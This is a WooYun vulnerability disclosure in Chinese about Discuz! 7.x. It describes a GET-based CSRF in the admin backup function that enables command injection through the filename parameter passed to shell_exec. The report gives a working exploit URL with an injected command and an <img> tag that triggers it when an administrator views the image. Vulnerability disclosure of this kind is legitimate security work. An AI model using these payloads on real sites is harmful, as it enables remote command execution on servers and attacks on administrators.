当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076458

漏洞标题:Discuz7.x csrf+系统命令调用(开关机,创建文件等等)

相关厂商:Discuz!

漏洞作者: menmen519

提交时间:2014-09-18 09:15

修复时间:2014-12-17 09:16

公开时间:2014-12-17 09:16

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-18: 细节已通知厂商并且等待厂商处理中
2014-09-19: 厂商已经确认,细节仅向厂商公开
2014-09-22: 细节向第三方安全合作伙伴开放
2014-11-13: 细节向核心白帽子及相关领域专家公开
2014-11-23: 细节向普通白帽子公开
2014-12-03: 细节向实习白帽子公开
2014-12-17: 细节向公众公开

简要描述:

Discuz! csrf+系统命令调用,一个超级简单比拖数据库还来得快的get类型csrf,一张图片搞定管理员,只要管理员敢看一下,那么他就会自动执行系统命令,创建文件,删除文件,ping 等等命令,如果有权限,也可以开关机。求精华,这个应该比那个csrf脱裤危害比较巨大吧!!!!!

详细说明:

直接分析代码:
admin\db.inc.php:(lines:270-287):

$tablesstr = '';
foreach($tables as $table) {
$tablesstr .= '"'.$table.'" ';
}

require './config.inc.php';
list($dbhost, $dbport) = explode(':', $dbhost);
$query = $db->query("SHOW VARIABLES LIKE 'basedir'");
list(, $mysql_base) = $db->fetch_array($query, MYSQL_NUM);
$dumpfile = addslashes(dirname(dirname(__FILE__))).'/'.$backupfilename.'.sql';
@unlink($dumpfile);

$mysqlbin = $mysql_base == '/' ? '' : addslashes($mysql_base).'bin/';
@shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($extendins == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $sqlcompat == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);
echo $dumpfile;
exit;


这里我们打印了执行shell_exec 后的 代码 不影响全局,在7.x里面有一个bug,就是你在备份数据库的时候,发送的第一个post请求是有csrf防御,但是第二个获取相关信息的get请求,这面包括了一系列操作,没有做csrf防御,我们直接看这个链接:
url:
http://localhost/Discuz_7.2_SC_UTF8/upload/admincp.php?action=db&operation=export&type=custom&saveto=server&filename=ssss%20%26%20echo%20111%20>%20shell%20%26%20xxxxx&method=&sizelimit=2048&volume=1&tableid=111111111111&startfrom=0&extendins=0&sqlcharset=&sqlcompat=&exportsubmit=yes&usehex=&usezip=0&sid=&usezip=0
本身这个链接的逻辑走向是当method=multivol的一个逻辑,这里是二次转发默认发送的,我们把这里值为空,那么就到了我们上面的代码了,看到这个url后进一步测试所有相关的参数,是否影响页面的走向逻辑,实际结果证明,所有参数可控
我们看着一行代码:

$dumpfile = addslashes(dirname(dirname(__FILE__))).'/'.$backupfilename.'.sql';
@unlink($dumpfile);

$mysqlbin = $mysql_base == '/' ? '' : addslashes($mysql_base).'bin/';
@shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($extendins == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $sqlcompat == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);


上面的文件操作,这里如果找不到,也已经被@规避了
那么我们看这个很长的sql备份命令最后面的$dumpfile,这个参数完全可控,这里我就不分析代码了,拿现象说话:
如果url中同时存在<> 那么它就会被阻断,但是我们实际中只用到一个> 或者 >>就够了
她还过滤了点号和反斜杠,正斜杠,当然了这里我就证明了,我们不用这些符号就是了,实际操作
中,既然能执行系统命令,各种二进制绕过,写shell 这里我就不演示了
举例子说明,如果我们的filename=ssss
那么这个命令 就会变成这样:

d:/wamp/bin/mysql/mysql5.5.20bin/mysqldump --force --quick --skip-opt --create-options --add-drop-table --host="localhost" --user="root" --password="" "discuz17" "cdb_activities" "xxxxxx\'" > D:\\wamp\\www\\Discuz_7.2_SC_UTF8\\upload/./forumdata/backup_789c01/ssss


那么我们通过&再连接一个命令就OK了,我们把filename改为:
filename=ssss%20%26%20echo%20111%20>%20shell%20%26%20xxxxx
然后再发一次包:

d:/wamp/bin/mysql/mysql5.5.20bin/mysqldump --force --quick --skip-opt --create-options --add-drop-table --host="localhost" --user="root" --password="" "discuz17" "cdb_activities" "xxxxxx\'" > D:\\wamp\\www\\Discuz_7.2_SC_UTF8\\upload/./forumdata/backup_789c01/ssss & echo 111 > shell & xxxxx.sql


看见没有 这个命令完全构造完毕,肯定是可以执行的,我们去这个目录看看,有没有一个文件叫shell内容为111的:

t.png


看到没有 完美执行了,最可怕的事情就是,这个链接是一个纯get的csrf,一个图片就搞定
<img src=http://localhost/Discuz_7.2_SC_UTF8/upload/admincp.php?action=db&operation=export&type=custom&saveto=server&filename=ssss%20%26%20echo%20111%20>%20shell%20%26%20xxxxx&method=&sizelimit=2048&volume=1&tableid=111111111111&startfrom=0&extendins=0&sqlcharset=&sqlcompat=&exportsubmit=yes&usehex=&usezip=0&sid=&usezip=0>
然后发给管理员这张图片,呵呵 你说能不给闪电吗!!!!!

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-09-19 09:27

厂商回复:

感谢您提出的问题。

最新状态:

暂无